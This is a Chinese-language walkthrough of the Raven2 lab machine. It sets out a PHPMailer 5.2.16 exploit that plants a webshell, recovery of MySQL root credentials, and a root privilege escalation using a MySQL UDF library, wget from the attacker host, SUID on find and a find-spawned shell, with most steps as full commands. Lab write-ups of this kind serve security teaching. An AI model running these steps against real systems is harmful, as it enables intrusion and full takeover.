Raven2
信息搜集
存活检测
详细扫描
后台扫描
dirsearch -u http://10.4.7.135 -x 403
# 过滤状态码为 403 的后台页面
Webshell
漏洞发现
-
访问扫描出的后台页面
/vendor 页面
发现网站使用了 PHPMailer
PHPMailer是一个用于发送电子邮件的PHP库。它提供了一个简单而灵活的方式来发送邮件,支持SMTP、POP3和IMAP协议,并且支持附件、HTML内容、邮件认证等功能。PHPMailer可以与大多数主流的邮件服务器和邮件服务提供商一起使用,是PHP开发中常用的邮件发送工具之一
查看 VERSION 文件发现版本为 5.2.16
漏洞利用
-
搜索漏洞
serachsploit phpmailer
下载
searchsploit -m 40974.py
-
查看攻击脚本并修改
-
修改目标 ip,添加存在漏洞的 php 页面,
-
修改 kali ip
-
更改后门程序存放位置
保存后退出,这个存在漏洞的网页是在contact.php里,运行这个攻击文件会自动在网站根目录下面生成一个后门文件 icepeak.php
-
-
运行脚本
python 40974.py
成功生成文件
-
kali 开启 nc 监听
-
访问脚本在网站生成的 Webshell 文件
http://10.4.7.135/backdoor.php
-
成功获取 Webshell
提权
提权准备
-
在 /var/www/html/wordpress 目录下的 wp 配置文件 wp-config 文件中发现了数据库的账号密码
账号
root
密码
R@v3nSecurity
-
尝试登录数据库
mysql -uroot -pR@v3nSecurity
-
查看数据库中内容,发现两个用户
michael P P PBjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven LOLLOL1
-
可以使用 steven 登录后台
没用
-
利用工具 LinEnum(Linux枚举及权限提升检查工具)
链接:https://pan.baidu.com/s/1AT3PKicE05u6PsykiwCt-g?pwd=s8dt
提取码:s8dt
可以看到 MySQL 服务是 root 身份运行的
UDF 提权
UDF 提权利用前提条件
mysql 配置文件 secure_file_priv 项设置为空,(如果为 NULL 或 /tmp/ 等指定目录,即无法自定义 udf 文件导出位置,则无法利用)。
show variables like '%secure%'
; 查看可导出文件位置CREATE 权限、FILE 权限(root 用户默认拥有所有权限)。
Linux系统需要 plugin 目录的写入权限。
Linux环境下的 UDF 提权大概率仅限于靶场环境中,原因:在 Linux 严格的系统权限下,mysql 用户或 web 用户无 plugin 目录的写入权限。
UDF 提权原理
在 MySQL 数据库中,UDF 函数的实现通常需要创建一个动态链接库文件(也称为插件文件或plugin文件)。动态链接库是一种可执行文件,可以在程序运行时动态地加载到内存中,与程序进行链接,提供额外的功能。
UDF 函数通常需要使用 C 或 C++ 等编程语言编写,并将其编译成动态链接库文件。在MySQL 中,UDF 函数的动态链接库文件通常使用 .so 或 .dll 扩展名。这个文件包含了 UDF 函数的代码和相关的库文件,可以在 MySQL 中进行加载和使用。
提权过程
- 在Windows中Mysql一般以System权限执行。故UDF提权漏洞出现原因,主要是因为root用户密码泄露,弱密码等,或者是普通用户有对plugin等文件夹有写权限。
- Linux环境下Mysql的主程序mysqld一般以独立账号mysql运行,而守护程序mysqld_safe才是以root权限。所以说Linux下UDF提权出现的机会比较少,只有当mysqld进程是root执行的时候才会出现udf提权。
- MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。一般sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。不过sqlmap 中自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。但是可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用。
-
查看当前数据库用户的权限
select * from mysql.user where user = substring_index(user(), '@', 1)\G;
实现
-
找到 plugin 文件位置
find / -name plugin
-
searchsploit 搜索 mysql udf 漏洞脚本并下载
searchsploit mysql udf searchsploit -m 1518.c
-
查看漏洞脚本使用方法
* Usage: * $ id * uid=500(raptor) gid=500(raptor) groups=500(raptor) * $ gcc -g -c 1518.c # -g选项用于在编译过程中生成调试信息,以便在程序出错时进行调试。 # -c选项用于将源代码编译成目标文件,而不进行链接操作。编译后的目标文件一般以.o或.obj为扩展名。 * $ gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc # 将1518.o目标文件与C标准库进行链接,并生成一个名为1518.so的动态链接库文件。 * $ mysql -uroot -pR@v3nSecurity * [...] * python -c 'import pty;pty.spawn("/bin/bash")' * mysql> use mysql; * mysql> create table foo(line blob); # 在当前数据库中创建一个名为zwt的表,该表只有一个列名为line,数据类型为blob(二进制大对象)。 * mysql> insert into foo values(load_file('/tmp/1518.so')); # 向zwt表中插入一条记录,该记录的值是通过load_file函数加载/tmp/1518.so文件的内容。load_file函数用于读取文件内容并返回其二进制数据。 * mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; # 将读取的 /tmp 下下载的 1518.so 文件输出保存到 /usr/lib/mysql/plugin 动态链接库目录下 * mysql> create function do_system returns integer soname '1518.so'; # 创建一个名为do_system的MySQL函数,该函数使用名为1518.so的动态链接库作为实现 * mysql> select * from mysql.func; # 查看已经创建的函数的详细信息 * +-----------+-----+----------------+----------+ * | name | ret | dl | type | * +-----------+-----+----------------+----------+ * | do_system | 2 | 1518.so | function | * +-----------+-----+----------------+----------+ * mysql> select do_system('chmod u+s /usr/bin/find'); * find ./ aaa -exec '/bin/sh' \; * sh-2.05b$ cat /tmp/out * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) * [...] * * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
-
kali 编译
-
靶机回显
python -c 'import pty;pty.spawn("/bin/bash")'
-
靶机下载 1518.so
cd /tmp wget http://10.4.7.132/1518.so
-
动态链接库
mysql -uroot -pR@v3nSecurity use mysql; create table foo(line blob); insert into foo values(load_file('/tmp/1518.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; create function do_system returns integer soname '1518.so'; select * from mysql.func;
-
执行系统命令赋予 suid 权限
select do_system('chmod u+s /usr/bin/find');
-
find 提权
find / abc -exec '/bin/sh' \; # \;:表示命令的结束符号。它告诉find命令在每个匹配到的文件或目录后执行一次命令。
成功获取 root 权限
总结
- 动态链接库 udf 提权
- find 提权
- suid